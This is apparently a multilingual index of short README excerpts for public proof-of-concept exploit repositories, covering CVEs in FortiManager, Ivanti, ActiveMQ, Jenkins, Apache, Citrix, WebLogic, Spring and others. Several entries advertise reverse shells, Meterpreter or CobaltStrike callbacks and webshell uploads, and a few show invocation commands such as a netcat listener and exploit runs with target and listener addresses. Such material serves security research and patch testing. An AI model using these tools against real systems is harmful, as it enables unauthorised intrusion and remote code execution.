Fortijump-Exploit-CVE-2024-47575

CVE-2024-47575 Fortinet FortiManager 인증되지 않은 원격 코드 실행, 일명 FortiJump CVE-2024-47575 기술적 세부 사항은 블로그 게시물을 참조하십시오. 시작하려면 ncat 세션을 설정하십시오: root@kitploit: nc -lvvnp 80 그런 다음 당사의 탐지 아티팩트 생성기를 실행하십시오: root@kitploit: python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action...

CVE-2025-0282

CVE-2025-0282 Ivanti Connect Secure IFT TLS スタックオーバーフロー 事前認証RCE CVE-2025-0282 これは意図的に簡単ではない形で壊されており、以前のエクスプロイト技術ブログ記事で概説したとおりに動作させるには努力が必要です。 この脆弱性を理解するには、技術的な解説記事を参照してください。 エクスプロイトのウォークスルーと手法 - Ivanti Connect Secure RCE CVE-2025-0282 PoC このコードは2つのモードで動作します: 1. 通常モード 2. エクスプロイトモード...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604는 CISA의 KEV 목록에 등재된 널리 악용되는 취약점입니다. 이 go-exploit 구현체는 Nashorn 페이로드를 사용하여 대상에서 리버스 셸을 실행하거나, 대상에 바이너리를 다운로드하여 실행할 수 있습니다. 컴파일 익스플로잇을 도커 이미지로 빌드하려면 간단히: root@kitploit: make docker Go 빌드 환경이 준비되어 있다면 make를 사용해도 됩니다: root@kitploit:...

CVE-2025-49844

CVE-2025-49844 – Redis Lua 파서 Use-After-Free Lua 청크 이름 GC 경쟁으로 인해 Redis 8.2.1에서 use-after-free 및 원격 코드 실행이 발생합니다. 개요 Redis는 스크립팅을 위해 Lua 5.1을 내장합니다. 8.2.1 이하 버전에서 luaYparser 함수는 렉서를 호출하기 전에 청크 이름 문자열을 Lua 스택에 고정anchor하지 않습니다. 악의적으로 조작된 스크립트는 파서가 해제된 문자열을 여전히 참조하는 동안 가비지 컬렉션을 트리거할 수 있으며, 이로 인해 UAF...

CVE-2015-1635-POC

CVE-2015-1635-POC、MS15-034 HTTP.sys HTTP.sys는 Microsoft Windows에서 HTTP 요청을 처리하는 커널 드라이버로, IIS 서버 성능을 최적화하기 위해 IIS6.0부터 도입되었으며 IIS 서비스 프로세스는 HTTP.sys에 의존합니다. HTTP.sys 원격 코드 실행 취약점은 본질적으로 HTTP.sys의 정수 오버플로우 취약점입니다. CVE-2015-1635-POC.py는 IP/도메인, 포트를 지정하여 취약점을 검증할 수 있습니다. POC 사용 방법: python3...

CVE-2017-1000353

CVE-2017-1000353 POC Jenkins CVE-2017-1000353을 어떻게 재현하나요? 이 저장소를 클론하고, 사전 빌드된 페이로드 jenkinspoc.ser를 다음 명령어와 함께 사용하세요: root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser 그러면 touch /tmp/success가 실행됩니다. Java 버전 요구 사항 중요 : 페이로드 생성은 Java 버전에 따라 달라집니다. openjdk:8u292에서 성공적으로 테스트되었습니다. 다른...

CVE-2024-37084

CVE-2024-37084 Spring Cloud リモートコード実行...

log4shell-test-exploit

CVE-2021-44228 log4shell 익스플로잇 테스트 준비 root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git cd marshalsec m...

cve-2021-41773

Apache 2.4.49 - 경로 탐색 또는 원격 코드 실행 cve-2021-41773.py는 Apache 2.4.49에서 경로 탐색Path Traversal 또는 원격 코드 실행Remote Code Execution 취약점을 찾는 데 도움이 되는 파이썬 스크립트입니다. CVE-2021-41773을 실습해볼 수 있도록 취약한 Docker 인스턴스가 제공됩니다. CGI-BIN이 활성화되어 있으면 경로 탐색은 수행할 수 없지만 원격 코드 실행은 수행할 수 있으므로, httpd.conf의 Alias 섹션 아래에 "icons" 디렉터...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE 익스플로잇 저자: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 이 저장소는 취약한 WordPress 플러그인의 인증되지 않은 임의 파일 업로드 취약점으로, 원격 코드 실행RCE으로 이어지는 CVE-2024-51793에 대한 개념 증명 익스플로잇을 포함합니다. 스크립트가 수행하는 작업 이 스크립트는 인증 없이 PHP 페이로드를 업로드하기 위해 취약한 admin-ajax.php 액션을 악용합니다...

cve-2021-42013

Apache 2.4.50 - 경로 탐색 또는 원격 코드 실행 CVE-2021-42013.py는 Apache 2.4.50에서 경로 탐색Path Traversal 또는 원격 코드 실행Remote Code Execution 취약점을 찾는 데 도움이 되는 파이썬 스크립트입니다. CVE-2021-42013을 직접 실습해볼 수 있도록 취약한 Docker 인스턴스가 제공됩니다. CGI-BIN이 활성화된 경우 경로 탐색이 아닌 원격 코드 실행을 수행할 수 있으므로, 경로 탐색 취약점을 확인하기 위해 httpd.conf의 Alias 섹션 아래...

CVE-2019-19781-CitrixRCE

Citrix 무단 원격 코드 실행 공격자 - CVE-2019-19781 참조: https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ 우회 방법: 1 - 삭제/수정된 스크립트 위치: /vpn/../vpns/portal/scripts/ 2 - perl 명령 주입 템플릿 주입 공격 후 슬래시"/" 문제...

CVE-2019-2729

CVE-2019-2729 Windows에서 실행되는 Oracle Weblogic CVE-2019-2729용 익스플로잇 코드입니다. CobaltStrike 리스너 또는 payload windows/meterpreter/reversetcp를 사용하는 Metasploit 핸들러로 콜백을 생성할 수 있습니다. 또한 비콘beacon이 아닌, 기본 호스트에서 명령을 실행하는 익스플로잇exploit.py도 포함되어 있습니다. 이 버전은 프록시 지원도 활성화되어 있습니다...

CVE-2023-46805

제목: CVE-2023-46805에 대한 개념 증명PoC - 교육 목적으로만 사용 라이선스: 본 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스CC BY 4.0 하에 제공됩니다. 저작자가 적절히 표시되는 조건으로 본 저작물을 공유, 복제, 배포, 전송하거나 개작 및 기타 목적으로 자유롭게 사용할 수 있습니다. 면책 조항: 본 개념 증명PoC은 교육 및 사이버보안 연구 목적으로만 제공됩니다. 저자, 소속 기관 또는 본 콘텐츠의 생성, 제작, 전달에 관여한 다른 어떤 당사자도 본 콘텐츠의 사용 또는 사용 불가로 인해...

CVE-2021-34481

CVE-2021-34481 CVE-2021-34481 패치 확인 Windows Print Spooler 원격 코드 실행 취약점 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481...

CVE-2022-47966-Scan

CVE-2022-47966 스캐너 소개 CVE-2022-47966은 최소 24개의 온프레미스 ManageEngine 제품에 영향을 미치는 중요한 무인증 원격 코드 실행 취약점입니다. 이 취약점은 SAML SSO가 활성화된 경우에만 적용됩니다. 일부 제품의 경우 SAML SSO가 이전에 활성화된 적이 있는 경우에도 적용됩니다. 타임라인 CVE-2022-47966은 Khoadha of Viettel Cyber Security가 발견했으며, 영향을 받는 제품에 대해 2022년 10월에 패치된 것으로 보입니다. 이 취약점은 영향을 받...

CVE-2022-27925-PoC

CVE-2022-27925-PoC Zimbra RCE 간단한 poc...

CVE-2024-32002-hook

CVE-2024-32002-hook CVE-2024-32002 是一个 Git 远程代码执行（RCE）漏洞。此工具是一个自动化概念验证（PoC），用于演示该漏洞。它利用 git clone 过程中对符号链接（symlink）和子模块（submodule）的不当处理。 ✨ 特性 自动创建恶意仓库（malicious repository） 通过符号链接执行任意代码 支持自定义 payload 清晰的输出信息提示 📋 前提条件 Git 版本 = 2.45.1 或 2.45.0 以下（存在漏洞的版本） Linux 或 macOS Python 3.x 🛠 安装 克隆此仓库：...

CVE-2022-35405

CVE-2022-35405 내 블로그 포스트 Nuclei 템플릿 관련 문서 ManageEngine PAM360 및 Password Manager Pro 인증되지 않은 원격 코드 실행 취약점 PoC Access Manager Plus만 인증 필요 : 제품 이름| 영향을 받는 버전| 기본 포트 ---|---|--- PAM360| 5.5 5500 이하| 8282 Password Manager Pro| 12.1 12100 이하| 7272 Access Manager Plus 인증 필요| 4.3 4302 이하| 9292 일부 사용자 지정...

CVE-2022-22965-poc

CVE-2022-22965 POC CVE-2022-22965 POC로, 리버스 셸 및 비밀번호 지원을 포함합니다. 더 추가하고 싶은 내용이 있으면 자유롭게 추가하세요 : 테스트 방법? root@kitploit: $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py --help for...